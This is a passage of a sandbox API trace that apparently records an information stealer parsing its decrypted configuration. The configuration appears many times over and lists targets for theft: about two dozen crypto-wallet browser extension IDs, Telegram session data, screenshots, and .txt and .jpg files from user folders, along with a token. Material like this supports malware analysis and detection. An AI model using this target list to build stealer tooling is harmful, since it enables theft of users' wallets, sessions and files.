Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.581] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.582] LocalFree (hMem=0x6b9720) returned 0x0 [0260.582] LocalFree (hMem=0x6baa50) returned 0x0 [0260.582] LocalFree (hMem=0x6bbd80) returned 0x0 [0260.582] StrStrW (lpFirst="ews_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.582] lstrlenW (lpString="ews_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2376 [0260.583] lstrlenW (lpString="ews_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2376 [0260.583] LocalAlloc (uFlags=0x40, uBytes=0x1290) returned 0x6b9720 [0260.583] lstrlenW (lpString="ews_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2376 [0260.583] LocalAlloc (uFlags=0x40, uBytes=0x1290) returned 0x6ba9b8 [0260.583] lstrlenW (lpString="ews_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 2376 [0260.583] LocalAlloc (uFlags=0x40, uBytes=0x1290) returned 0x6bbc50 [0260.583] StrStrW (lpFirst="ews_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.583] lstrlenW (lpString="ews_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension 